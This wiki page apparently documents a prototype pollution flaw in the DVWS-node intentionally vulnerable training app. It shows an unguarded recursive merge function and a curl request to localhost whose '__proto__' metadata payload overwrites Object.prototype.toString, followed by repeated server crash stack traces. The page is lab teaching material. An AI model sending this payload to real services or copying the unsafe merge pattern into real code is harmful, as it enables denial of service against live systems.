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Prototype Pollution

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Sam Sanoop edited this page Jan 12, 2026 · 4 revisions

Introduction

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

Details

Within DVWS, a prototype pollution vulnerability exists within the file upload area.

dvwspp1

A prototype polltion vulnerability exists in in the app

// Vulnerable merge function in controllers/storage.js
const merge = (target, source) => {
    for (let key in source) {
        if (typeof source[key] === 'object' && source[key] !== null) {
            if (!target[key]) target[key] = {};
            merge(target[key], source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
};

// Usage in post handler
if (req.body.metadata) {
    try {
        const metadata = JSON.parse(req.body.metadata);
        const fileData = {}; 
        merge(fileData, metadata);
    } catch (e) {
        // ignore
    }
}

To trigger a Denial of Service by polluting Object.prototype.toString:

  1. Obtain a JWT Token: You need a valid token to access the endpoint. You can generate one using the secret access (found in .env) or log in to the application if running.
  2. Send the Malicious Request: Use curl to send a POST request with the metadata field containing the pollution payload.
# Create a dummy XML file
echo "<root></root>" > test.xml

# Send the request
curl -X POST http://localhost:80/api/upload \
  -H "Authorization: Bearer <YOUR_JWT_TOKEN>" \
  -F "[email protected]" \
  -F 'metadata={"__proto__": {"toString": "POLLUTED"}}'

Expected Result: The server should process the request. Since Object.prototype.toString is now overwritten with the string "POLLUTED", subsequent operations on the server that rely on implicit string conversion of objects (which uses .toString()) will likely fail or throw errors, causing the application to crash or become unresponsive (Denial of Service).

xecuting (default): INSERT INTO passphrases (username, passphrase, reminder) values ('test', '69815b5e677e6c6e67466b52537a4867', 'test1')
TypeError: Object.prototype.toString.call is not a function
    at Object.isRegExp (/Users/sams/Documents/dvws-node/node_modules/qs/lib/utils.js:270:38)
    at normalizeParseOptions (/Users/sams/Documents/dvws-node/node_modules/qs/lib/parse.js:321:64)
    at module.exports [as parse] (/Users/sams/Documents/dvws-node/node_modules/qs/lib/parse.js:337:19)
    at parseExtendedQueryString (/Users/sams/Documents/dvws-node/node_modules/express/lib/utils.js:289:13)
    at query (/Users/sams/Documents/dvws-node/node_modules/express/lib/middleware/query.js:42:19)
    at Layer.handle [as handle_request] (/Users/sams/Documents/dvws-node/node_modules/express/lib/router/layer.js:95:5)
    at trim_prefix (/Users/sams/Documents/dvws-node/node_modules/express/lib/router/index.js:328:13)
    at /Users/sams/Documents/dvws-node/node_modules/express/lib/router/index.js:286:9
    at Function.process_params (/Users/sams/Documents/dvws-node/node_modules/express/lib/router/index.js:346:12)
    at next (/Users/sams/Documents/dvws-node/node_modules/express/lib/router/index.js:280:10)
TypeError: Object.prototype.toString.call is not a function
    at Object.isRegExp (/Users/sams/Documents/dvws-node/node_modules/qs/lib/utils.js:270:38)
    at normalizeParseOptions (/Users/sams/Documents/dvws-node/node_modules/qs/lib/parse.js:321:64)
    at module.exports [as parse] (/Users/sams/Documents/dvws-node/node_modules/qs/lib/parse.js:337:19)
    at parseExtendedQueryString (/Users/sams/Documents/dvws-node/node_modules/express/lib/utils.js:289:13)
    at query (/Users/sams/Documents/dvws-node/node_modules/express/lib/middleware/query.js:42:19)
    at Layer.handle [as handle_request] (/Users/sams/Documents/dvws-node/node_modules/express/lib/router/layer.js:95:5)
    at trim_prefix (/Users/sams/Documents/dvws-node/node_modules/express/lib/router/index.js:328:13)
    at /Users/sams/Documents/dvws-node/node_modules/express/lib/router/index.js:286:9
    at Function.process_params (/Users/sams/Documents/dvws-node/node_modules/express/lib/router/index.js:346:12)
    at next (/Users/sams/Documents/dvws-node/node_modules/express/lib/router/index.js:280:10)
TypeError: Object.prototype.toString.call is not a function
    at Object.isRegExp (/Users/sams/Documents/dvws-node/node_modules/qs/lib/utils.js:270:38)
    at normalizeParseOptions (/Users/sams/Documents/dvws-node/node_modules/qs/lib/parse.js:321:64)
    at module.exports [as parse] (/Users/sams/Documents/dvws-node/node_modules/qs/lib/parse.js:337:19)
    at parseExtendedQueryString (/Users/sams/Documents/dvws-node/node_modules/express/lib/utils.js:289:13)
    at query (/Users/sams/Documents/dvws-node/node_modules/express/lib/middleware/query.js:42:19)
    at Layer.handle [as handle_request] (/Users/sams/Documents/dvws-node/node_modules/express/lib/router/layer.js:95:5)
    at trim_prefix (/Users/sams/Documents/dvws-node/node_modules/express/lib/router/index.js:328:13)
    at /Users/sams/Documents/dvws-node/node_modules/express/lib/router/index.js:286:9
    at Function.process_params (/Users/sams/Documents/dvws-node/node_modules/express/lib/router/index.js:346:12)
    at next (/Users/sams/Documents/dvws-node/node_modules/express/lib/router/index.js:280:10)
TypeError: Object.prototype.toString.call is not a function
    at Object.isRegExp (/Users/sams/Documents/dvws-node/node_modules/qs/lib/utils.js:270:38)
    at normalizeParseOptions (/Users/sams/Documents/dvws-node/node_modules/qs/lib/parse.js:321:64)
    at module.exports [as parse] (/Users/sams/Documents/dvws-node/node_modules/qs/lib/parse.js:337:19)
    at parseExtendedQueryString (/Users/sams/Documents/dvws-node/node_modules/express/lib/utils.js:289:13)
    at query (/Users/sams/Documents/dvws-node/node_modules/express/lib/middleware/query.js:42:19)
    at Layer.handle [as handle_request] (/Users/sams/Documents/dvws-node/node_modules/express/lib/router/layer.js:95:5)
    at trim_prefix (/Users/sams/Documents/dvws-node/node_modules/express/lib/router/index.js:328:13)
    at /Users/sams/Documents/dvws-node/node_modules/express/lib/router/index.js:286:9
    at Function.process_params (/Users/sams/Documents/dvws-node/node_modules/express/lib/router/index.js:346:12)
    at next (/Users/sams/Documents/dvws-node/node_modules/express/lib/router/index.js:280:10)
TypeError: Object.prototype.toString.call is not a function
    at Object.isRegExp (/Users/sams/Documents/dvws-node/node_modules/qs/lib/utils.js:270:38)
    at normalizeParseOptions (/Users/sams/Documents/dvws-node/node_modules/qs/lib/parse.js:321:64)
    at module.exports [as parse] (/Users/sams/Documents/dvws-node/node_modules/qs/lib/parse.js:337:19)
    at parseExtendedQueryString (/Users/sams/Documents/dvws-node/node_modules/express/lib/utils.js

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